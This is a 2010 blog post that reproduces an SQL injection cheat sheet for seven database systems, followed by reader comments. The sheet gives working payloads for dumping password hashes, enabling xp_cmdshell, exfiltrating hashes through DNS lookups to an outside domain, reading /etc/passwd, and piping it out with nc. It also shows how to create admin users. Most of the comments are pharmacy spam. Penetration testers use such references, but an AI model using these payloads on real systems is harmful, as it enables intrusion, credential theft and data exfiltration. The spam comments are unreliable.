| Mobile| RSS

hoja de injsql

domingo, 2 de mayo de 2010 | Tags: | 13 Comentarios

MSSQL


Version
SELECT @@version
Comments
SELECT 1 — comment

SELECT /*comment*/1
Current User
SELECT user_name();

SELECT system_user;

SELECT user;

SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users
SELECT name FROM master..syslogins
List Password Hashes
SELECT name, password FROM master..sysxlogins — priv, mssql 2000;

SELECT
name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins —
priv, mssql 2000. Need to convert to hex to return hashes in MSSQL
error message / some version of query analyzer.

SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;

SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
Password Cracker
MSSQL 2000 and 2005 Hashes are both SHA1-based.phrasen|drescher can crack these.
List Privileges
Impossible?
List DBA Accounts
TODO

SELECT
is_srvrolemember(’sysadmin’); — is your account a sysadmin? returns 1
for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’,
’systemadmin’ and other values from the documentation

SELECT is_srvrolemember(’sysadmin’, ’sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
Current Database
SELECT DB_NAME()
List Databases
SELECT name FROM master..sysdatabases;

SELECT DB_NAME(N); — for N = 0, 1, 2, …
List Columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only

SELECT
master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM
master..syscolumns, master..sysobjects WHERE
master..syscolumns.id=master..sysobjects.id AND
master..sysobjects.name=’sometable’; — list colum names and types for
master..sometable
List Tables
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views

SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;

SELECT
master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM
master..syscolumns, master..sysobjects WHERE
master..syscolumns.id=master..sysobjects.id AND
master..sysobjects.name=’sometable’; — list colum names and types for
master..sometable
Find Tables From Column Name
NB: This example works only for the current database. If you wan’t to
search another db, you need to specify the db name (e.g. replace
sysobject with mydb..sysobjects).

SELECT sysobjects.name
as tablename, syscolumns.name as columnname FROM sysobjects JOIN
syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype =
‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column
for each column containing the word ‘password’
Select Nth Row
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth Char
SELECT substring(‘abcd’, 3, 1) — returns c
Bitwise AND
SELECT 6 & 2 — returns 2

SELECT 6 & 1 — returns 0
ASCII Value -> Char
SELECT char(0×41) — returns A
Char -> ASCII Value
SELECT ascii(‘A’) – returns 65
Casting
SELECT CAST(‘1′ as int);

SELECT CAST(1 as char)
String Concatenation
SELECT ‘A’ + ‘B’ – returns AB
If Statement
IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
Case Statement
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
Avoiding Quotes
SELECT char(65)+char(66) — returns AB
Time Delay
WAITFOR DELAY ‘0:0:5′ — pause for 5 seconds
Make DNS Requests
declare
@host varchar(800); select @host = name FROM master..syslogins;
exec(‘master..xp_getfiledetails ”\\’ + @host + ‘\c$\boot.ini”’); —
nonpriv, works on 2000

declare @host varchar(800); select
@host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) +
‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\\’ +
@host + ‘\c$\boot.ini”’); — priv, works on 2005

– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.

– Also check out theDNS tunnel feature of sqlninja
Command Execution
EXEC xp_cmdshell ‘net user’; — priv



On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:

EXEC sp_configure ’show advanced options’, 1; — priv

RECONFIGURE; — priv

EXEC sp_configure ‘xp_cmdshell’, 1; — priv

RECONFIGURE; — priv
Local File Access
CREATE TABLE mydata (line varchar(8000));

BULK INSERT mydata FROM ‘c:\boot.ini’;

DROP TABLE mydata;
Hostname, IP Address
SELECT HOST_NAME()
Create Users
EXEC sp_addlogin ‘user’, ‘pass’; — priv
Drop Users
EXEC sp_droplogin ‘user’; — priv
Make User DBA
EXEC master.dbo.sp_addsrvrolemember ‘user’, ’sysadmin; — priv
Location of DB files
TODO
Default/System Databases
northwind

model

msdb

pubs

tempdb

Oracle


Version
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;

SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;

SELECT version FROM v$instance;
Comments
SELECT 1 FROM dual — comment

NB: SELECT statements must have a FROM clause in Oracle so we have to
use the dummy table name ‘dual’ when we’re not actually selecting from
a table.
Current User
SELECT user FROM dual
List Users
SELECT username FROM all_users ORDER BY username;

SELECT name FROM sys.user$; — priv
List Password Hashes
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked

SELECT name,spare4 FROM sys.user$ — priv, 11g
Password Cracker
checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges
SELECT * FROM session_privs; — current privs

SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs

SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA Accounts
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
Current Database
SELECT global_name FROM global_name;



SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases
SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)

– Also query TNS listener for other databases. See tnscmd(services | status).
List Columns
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;

SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
List Tables
SELECT table_name FROM all_tables;

SELECT owner, table_name FROM all_tables;
Find Tables From Column Name
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth Row
SELECT
username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY
username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth Char
SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
Bitwise AND
SELECT bitand(6,2) FROM dual; — returns 2

SELECT bitand(6,1) FROM dual; — returns0
ASCII Value -> Char
SELECT chr(65) FROM dual; — returns A
Char -> ASCII Value
SELECT ascii(‘A’) FROM dual; — returns 65
Casting
SELECT CAST(1 AS char) FROM dual;

SELECT CAST(‘1′ AS int) FROM dual;
String Concatenation
SELECT ‘A’ || ‘B’ FROM dual; — returns AB
If Statement
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
Case Statement
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1


SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Avoiding Quotes
SELECT chr(65) || chr(66) FROM dual; — returns AB
Time Delay
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT


SELECT UTL_INADDR.get_host_name(‘10.0.0.1′) FROM dual; — if reverse looks are slow

SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow

SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow


– Also see Heavy Queries to create a time delay
Make DNS Requests
SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;

SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
Command Execution
Java can be used to execute commands if it’s installed.

ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File Access
UTL_FILE can sometimes be used. Check that the following is non-null:

SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;

Java can be used to read and write files if it’s installed (it is not available in Oracle Express).
Hostname, IP Address
SELECT UTL_INADDR.get_host_name FROM dual;

SELECT host_name FROM v$instance;

SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address

SELECT UTL_INADDR.get_host_name(‘10.0.0.1′) FROM dual; — gets hostnames
Location of DB files
SELECT name FROM V$DATAFILE;
Default/System Databases
SYSTEM

SYSAUX

MySQL


Version
SELECT @@version
Comments
SELECT 1; #comment

SELECT /*comment*/1;
Current User
SELECT user();

SELECT system_user();
List Users
SELECT user FROM mysql.user; — priv
List Password Hashes
SELECT host, user, password FROM mysql.user; — priv
Password Cracker
John the Ripper will crack MySQL password hashes.
List Privileges
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs

SELECT
host, user, Select_priv, Insert_priv, Update_priv, Delete_priv,
Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv,
File_priv, Grant_priv, References_priv, Index_priv, Alter_priv,
Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv,
Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; —
priv, list user privs


SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;

SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current Database
SELECT database()
List Databases
SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0

SELECT distinct(db) FROM mysql.db — priv
List Columns
SELECT
table_schema, table_name, column_name FROM information_schema.columns
WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables
SELECT
table_schema,table_name FROM information_schema.tables WHERE
table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name
SELECT
table_schema, table_name FROM information_schema.columns WHERE
column_name = ‘username’; — find table which have a column called
‘username’
Select Nth Row
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0


SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char
SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND
SELECT 6 & 2; # returns 2


SELECT 6 & 1; # returns 0
ASCII Value -> Char
SELECT char(65); # returns A
Char -> ASCII Value
SELECT ascii(‘A’); # returns 65
Casting
SELECT cast(‘1′ AS unsigned integer);

SELECT cast(‘123′ AS char);
String Concatenation
SELECT CONCAT(‘A’,'B’); #returns AB

SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
If Statement
SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
Case Statement
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding Quotes
SELECT 0×414243; # returns ABC
Time Delay
SELECT BENCHMARK(1000000,MD5(‘A’));

SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests
Impossible?
Command Execution
If
mysqld (<5.0) is running as root AND you compromise a DBA account
you can execute OS commands by uploading a shared object file into
/usr/lib (or similar). The .so file should contain a User Defined
Function (UDF). raptor_udf.c
explains exactly how you go about this. Remember to compile for the
target architecture which may or may not be the same as your attack
platform.
Local File Access
…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.

SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address
Impossible?
Create Users
CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users
DROP USER test1; — priv
Make User DBA
GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB files
SELECT @@datadir;
Default/System Databases
information_schema (>= mysql 5.0)

mysql

Postgres


Version
SELECT version()
Comments
SELECT 1; –comment

SELECT /*comment*/1;
Current User
SELECT user;

SELECT current_user;

SELECT session_user;

SELECT usename FROM pg_user;

SELECT getpgusername();
List Users
SELECT usename FROM pg_user
List Password Hashes
SELECT usename, passwd FROM pg_shadow — priv
Password Cracker
MDCrack can crack PostgreSQL’s MD5-based passwords.
List Privileges
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts
SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database
SELECT current_database()
List Databases
SELECT datname FROM pg_database
List Columns
SELECT
relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A,
pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND
(A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT
A.attisdropped) AND (N.nspname ILIKE ‘public’)
List Tables
SELECT
c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace
n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname
NOT IN (‘pg_catalog’, ‘pg_toast’) AND
pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name
If you want to list all the table names that contain a column LIKE ‘%password%’:


SELECT
DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A,
pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND
(A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT
A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE
‘%password%’;
Select Nth Row
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0

SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char
SELECT substr(‘abcd’, 3, 1); — returns c
Bitwise AND
SELECT 6 & 2; — returns 2


SELECT 6 & 1; –returns 0
ASCII Value -> Char
SELECT chr(65);
Char -> ASCII Value
SELECT ascii(‘A’);
Casting
SELECT CAST(1 as varchar);

SELECT CAST(‘1′ as int);
String Concatenation
SELECT ‘A’ || ‘B’; — returnsAB
If Statement
IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead.
Case Statement
SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
Avoiding Quotes
SELECT CHR(65)||CHR(66); — returns AB
Time Delay
SELECT pg_sleep(10); — postgres 8.2+ only

CREATE
OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ’sleep’
language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep
function. Taken from here .
Make DNS Requests
Generally not possible in postgres. However ifcontrib/dblink is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink(‘host=put.your.hostname.here user=someuser dbname=somedb’, ‘SELECT version()’) RETURNS (result TEXT);

Alternatively,
if you have DBA rights you could run an OS-level command (see below) to
resolve hostnames, e.g. “ping pentestmonkey.net”.
Command Execution
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ’system’ LANGUAGE ‘C’ STRICT; — priv

SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
Local File Access
CREATE TABLE mydata(t text);

COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user

…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time


…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …

DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);

INSERT INTO mytable(mycol) VALUES (”);

COPY
mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres
OS-level user. Generally you won’t be able to write to the web root,
but it’s always work a try.


– priv user can also read/write files by mapping libc functions
Hostname, IP Address
SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)

SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
Create Users
CREATE USER test1 PASSWORD ‘pass1′; — priv

CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
Drop Users
DROP USER test1; — priv
Make User DBA
ALTER USER test1 CREATEUSER CREATEDB; — priv
Location of DB files
SELECT current_setting(‘data_directory’); — priv

SELECT current_setting(‘hba_file’); — priv
Default/System Databases
template0

template1

Ingres


Version
select dbmsinfo(‘_version’);
Comments
SELECT 123; — comment

select 123; /* comment */
Current User
select dbmsinfo(’session_user’);


select dbmsinfo(’system_user’);
List Users
First connect to iidbdb, then:

select name, password from iiuser;
Create Users
create user testuser with password = ‘testuser’;– priv
List Password Hashes
First connect to iidbdb, then:

select name, password from iiuser;
List Privileges
select dbmsinfo(‘db_admin’);

select dbmsinfo(‘create_table’);


select dbmsinfo(‘create_procedure’);

select dbmsinfo(’security_priv’);

select dbmsinfo(’select_syscat’);

select dbmsinfo(‘db_privileges’);

select dbmsinfo(‘current_priv_mask’);
List DBA Accounts
TODO
Current Database
select dbmsinfo(‘database’);
List Databases
TODO
List Columns
select column_name, column_datatype, table_name, table_owner from iicolumns;
List Tables
select table_name, table_owner from iitables;

select relid, relowner, relloc from iirelation;

select relid, relowner, relloc from iirelation where relowner != ‘$ingres’;
Find Tables From Column Name
TODO
Select Nth Row
Astoundingly, this doesn’t seem to be possible! This is as close as you can get:

select top 10 blah from table;


select first 10 blah form table;
Select Nth Char
select substr(‘abc’, 2, 1); — returns ‘b’
Bitwise AND
The function “bit_and” exists, but seems hard to use. Here’s an

example of ANDing 3 and 5 together. The result is a “byte” type

with value \001:

select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);
ASCII Value -> Char
TODO
Char -> ASCII Value
TODO

(The “ascii” function exists, but doesn’t seem to do what I’d expect.)
Casting
select cast(123 as varchar);

select cast(‘123′ as integer);
String Concatenation
select ‘abc’ || ‘def’;
If Statement
TODO
Case Statement
TODO
Avoiding Quotes
TODO
Time Delay
???

See Heavy Queries article for some ideas.
Make DNS Requests
TODO
Command Execution
TODO
Local File Access
TODO
Hostname, IP Address
TODO
Location of DB files
TODO
Default/System Databases
TODO
Installing Locally
The Ingres database can be downloaded for free fromhttp://esd.ingres.com/


A pre-built Linux-based Ingres Database Server can be download fromhttp://www.vmware.com/appliances/directory/832
Database Client
TODO

There is a client called “sql” which can be used for local connections (at least) in the database server package above.
Logging in from command line
$ su – ingres

$ sql iidbdb

* select dbmsinfo(‘_version’); \go
Identifying on the network
TODO

DB2


Version
select versionnumber, version_timestamp from sysibm.sysversions;
Comments
select blah from foo; — comment like this
Current User
select user from sysibm.sysdummy1;

select session_user from sysibm.sysdummy1;

select system_user from sysibm.sysdummy1;
List Users
N/A (I think DB2 uses OS-level user accounts for authentication.)

Database authorities (like roles, I think) can be listed like this:


select grantee from syscat.dbauth;
List Password Hashes
N/A (I think DB2 uses OS-level user accounts for authentication.)
List Privileges
select * from syscat.tabauth; — privs on tables

select * from syscat.dbauth where grantee = current user;


select * from syscat.tabauth where grantee = current user;
List DBA Accounts
TODO
Current Database
select current server from sysibm.sysdummy1;
List Databases
SELECT schemaname FROM syscat.schemata;
List Columns
select name, tbname, coltype from sysibm.syscolumns;
List Tables
select name from sysibm.systables;
Find Tables From Column Name
TODO
Select Nth Row
select name from (SELECT name FROM sysibm.systables order by

name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
Select Nth Char
SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1; — returns b
Bitwise AND
This page seems to indicate that DB2 has no support for bitwise operators!
ASCII Value -> Char
select chr(65) from sysibm.sysdummy1; — returns ‘A’
Char -> ASCII Value
select ascii(‘A’) from sysibm.sysdummy1; — returns 65
Casting
SELECT cast(‘123′ as integer) FROM sysibm.sysdummy1;


SELECT cast(1 as char) FROM sysibm.sysdummy1;
String Concatenation
SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1; — returns ‘abc’


select ‘a’ || ‘b’ from sysibm.sysdummy1; — returns ‘ab’
If Statement
TODO
Case Statement
TODO
Avoiding Quotes
TODO
Time Delay
???See Heavy Queries article for some ideas.
Make DNS Requests
TODO
Command Execution
TODO
Local File Access
TODO
Hostname, IP Address
TODO
Location of DB files
TODO
Default/System Databases
TODO

Informix


Version
SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1;

SELECT DBINFO(‘version’, ’server-type’) FROM systables WHERE tabid = 1;


SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1;

SELECT
DBINFO(‘version’, ‘os’) FROM systables WHERE tabid = 1; — T=Windows,
U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix,
F=64-bit app running on 64-bit unix
Comments
select 1 FROM systables WHERE tabid = 1; — comment
Current User
SELECT USER FROM systables WHERE tabid = 1;

select CURRENT_ROLE FROM systables WHERE tabid = 1;
List Users
select username, usertype, password from sysusers;
List Password Hashes
TODO
List Privileges
select
tabname, grantor, grantee, tabauth FROM systabauth join systables on
systables.tabid = systabauth.tabid; — which tables are accessible by
which users


select procname, owner, grantor, grantee
from sysprocauth join sysprocedures on sysprocauth.procid =
sysprocedures.procid; — which procedures are accessible by which users
List DBA Accounts
TODO
Current Database
SELECT DBSERVERNAME FROM systables where tabid = 1; — server name
List Databases
select name, owner from sysdatabases;
List Columns
select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid;
List Tables
select tabname, owner FROM systables;


select tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid;
List Stored Procedures
select procname, owner FROM sysprocedures;
Find Tables From Column Name
select
tabname, colname, owner, coltype FROM syscolumns join systables on
syscolumns.tabid = systables.tabid where colname like ‘%pass%’;
Select Nth Row
select
first 1 tabid from (select first 10 tabid from systables order by
tabid) as sq order by tabid desc; — selects the 10th row
Select Nth Char
SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’
Bitwise AND
select bitand(6, 1) from systables where tabid = 1; — returns 0

select bitand(6, 2) from systables where tabid = 1; — returns 2
ASCII Value -> Char
TODO
Char -> ASCII Value
select ascii(‘A’) from systables where tabid = 1;
Casting
select cast(‘123′ as integer) from systables where tabid = 1;


select cast(1 as char) from systables where tabid = 1;
String Concatenation
SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’


SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’
String Length
SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables;
If Statement
TODO
Case Statement
select tabid, case when tabid>10 then “High” else ‘Low’ end from systables;
Avoiding Quotes
TODO
Time Delay
TODO
Make DNS Requests
TODO
Command Execution
TODO
Local File Access
TODO
Hostname, IP Address
SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname
Location of DB files
TODO
Default/System Databases
These are the system databases:

sysmaster

sysadmin*

sysuser*


sysutils*

* = don’t seem to contain anything / don’t allow reading
Installing Locally
You can download Informix Dynamic Server Express Edition 11.5 Trial for Linux and Windows.
Database Client
There’s a database client SDK available, but I couldn’t get the demo client working.

I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers (“emerge dev-java/jdbc-informix” on Gentoo).
Logging in from command line
If you get local admin rights on a Windows box and have a GUI logon:

  • Click:
    Start | All Programs | IBM Informix Dynamic Server 11.50 |
    someservername. This will give you a command prompt with various
    Environment variables set properly.
  • Run dbaccess.exe from your command prompt. This will bring up a text-based GUI that allows you to browse databases.

The
following were set on my test system. This may help if you get command
line access, but can’t get a GUI – you’ll need to change
“testservername”:


set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50

set INFORMIXSERVER=testservername

set ONCONFIG=ONCONFIG.testservername

set
PATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\PROGRA~1\ibm\gsk7\bin;C:\PROGRA~1\ibm\gsk7\lib;C:\Program
Files\IBM\Informix\Clien-SDK\bin;C:\Program
Files\ibm\gsk7\bin;C:\Program Files\ibm\gsk7\lib

set
CLASSPATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\extend\krakatoa\krakatoa.jar;C:\PROGRA~1\IBM\IBMINF~1\11.50\xtend\krakatoa\jdbc.jar;

set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp

set CLIENT_LOCALE=EN_US.CP1252

set DB_LOCALE=EN_US.8859-1

set SERVER_LOCALE=EN_US.CP1252


set DBLANG=EN_US.CP1252

mode con codepage select=1252
Identifying on the network
My
default installation listened on two TCP ports: 9088 and 9099. When I
created a new “server name”, this listened on 1526/TCP by default. Nmap
4.76 didn’t identify these ports as Informix:

$ sudo nmap -sS -sV 10.0.0.1 -p- -v –version-all



1526/tcp open pdap-np?

9088/tcp open unknown

9089/tcp open unknown


TODO How would we identify Informix listening on the network?

13 Respondiendo
gravatar
china laptop battery
on 11 de mayo de 2010, 5:50  

Hello! I am new here,your blog is great, I like it! I want to make friends with you.Do you mind me share my laptop batteries with you? Hope you like me,thank you very much.

gravatar
cool
on 11 de mayo de 2010, 5:53  

your article is very good,you seems so educated

gravatar
Anónimo
on 7 de junio de 2010, 18:25  

buy cheap online Motrin nearly ideal drugs cod cash on delivery Himalaya Geriforte Tabs for chronic myeloid leukemia, buy cheap Moduretic faster to Sprycel than to Gleevec, cheap delivery fedex ED Discount Pack #2 in treating patients buy cheap discount online Nolvadex is approved for use only buy cheap discount online Silagra (Cipla Brand) Tasigna is also made cheap cod delivery Pilocarpine 4% nearly ideal drugs purchase Viagra Soft about 80 percent buy cheap cod online Dramamine at the Howard Hughes Medical Institute order no prescription Ortholife therapy for patients and has, purchase cheap Cardizem June 5 in the New England Journal of Medicine. buy cheap prescriptions online Himalaya Pilex Tabs compared with 66 percent order no prescription Combivir at Memorial Sloan-Kettering Cancer Center order no prescription Lotrel Drug Administration buy cheap generic Elavil faster to Sprycel than to Gleevec, ordering online without a prescription Femara from these studies, order without prescription Motrin but the experienced observer buy cheap cod online Himalaya Pilex Ointment at the University buy Arcoxia patients responded buy cheap no prescription Zebeta chronic myeloid leukemia generic Isosorbide Mononitrate will the 12-month cheap delivery fedex Anafranil a drug like imatinib [Gleevec] that next day delivery on Lotensin had a complete cytogenetic response, buy generic Mega Hoodia Another expert, Dr. Marshall A. Lichtman, buy Advair Diskus Inhaler and nine patients receiving Gleevec seeing order generic Vytorin their disease progress. buy discount online Cefaclor The evidence buy cheap discounted Ceftin Drug Administration order cheap Acai Cleanse Ultra

gravatar
Anónimo
on 11 de junio de 2010, 19:14  

Since their availability, http://thistuesday.org/?q=node/13200 order prescription Persantine if there is a relapse, http://thistuesday.org/?q=node/13206 discount Isosorbide Mononitrate one of the new drugs http://thistuesday.org/?q=node/13208 buy cheap discount online Viagra Oral Jelly "In less than 10 years, http://thistuesday.org/?q=node/24489 purchase cheap Himalaya Gasex Tabs to be able http://thistuesday.org/?q=node/24492 order cheap Eldepryl therapy for patients and has, http://thistuesday.org/?q=node/24876 pharmacy online Flovent with newly diagnosed http://thistuesday.org/?q=node/24935 order without prescription DDAVP 2.5ml and better outcomes http://thistuesday.org/?q=node/25173 no prescription Biaxin and better outcomes http://thistuesday.org/?q=node/25188 purchase cheap Tenormin than those taking Gleevec 28 percent. http://thistuesday.org/?q=node/25192 without prescription cash on delivery Himalaya Abana Tabs front-line therapy for http://thistuesday.org/?q=node/25203 buy cheap no prescription Himalaya Pilex Tabs Kantarjian noted. http://thistuesday.org/?q=node/25206 online ordering Premarin be first-line treatment http://thistuesday.org/?q=node/25212 next day delivery on Gestanin to be able http://thistuesday.org/?q=node/25214 no prescription Estrace a drug like imatinib [Gleevec] that http://thistuesday.org/?q=node/25309 no prescription Protonix dasatinib and nilotinib http://thistuesday.org/?q=node/25330 overnight delivery pharmacy Himalaya Menosan Drug Administration http://thistuesday.org/?q=node/25341 no prescription Imuran "This magnitude of success -- beating http://thistuesday.org/?q=node/25350 buy pills online Rogaine 2% at the University http://thistuesday.org/?q=node/25383 pharmacy online Prilosec is approved for use only http://thistuesday.org/?q=node/25390 without prescription Depakote of resistance to imatinib," Sawyers added. http://thistuesday.org/?q=node/25404 without prescription Flomax Two new drugs, http://thistuesday.org/?q=node/25416 online fedex next day delivery Zithromax

gravatar
Anónimo
on 12 de junio de 2010, 17:52  

ups cod delivery Himalaya Diakof Syrup their disease progress. overnight delivery pharmacy Desogen to consider nilotinib Tasigna pharmacy international shipping Himalaya Styplon Tabs they have been shown prescription drugs online Frumil to consider approving them buy drugs online Motilium to Gleevec, he said. overnight delivery pharmacy Astelin leukemia predicts buy cheap discounted Diflucan Complete cytogenetic response cheap cod delivery Apcalis (Cialis) Oral and nine patients receiving Gleevec seeing buy online Noroxin "In less than 10 years, buy now Alesse Another expert, Dr. Marshall A. Lichtman, buy cheap Ansaid Dr. Giuseppe Saglio, a professor from online pharmacy Indocin Kantarjian said. buy Dilantin The patients canadian online pharmacy ED Discount Pack #3 Newly diagnosed chronic myeloid order cheap Allegra they have been shown order prescription Coversyl was similar, however, cheap delivery fedex Herbal Viagra produced more responses buy legal drugs Himalaya Himcospaz about 80 percent buy online Atacand We now have formal evidence through buy discount online Trimox is made by Novartis Pharmaceuticals. order generic Cialis Super Active

gravatar
Anónimo
on 16 de junio de 2010, 22:13  

saturday delivery overnight Coreg chronic myeloid leukemia
buy cheap discount online Himalaya Bonnisan Drops as upgrades
buy cheap discount online Cefaclor instead of imatinib, he noted.
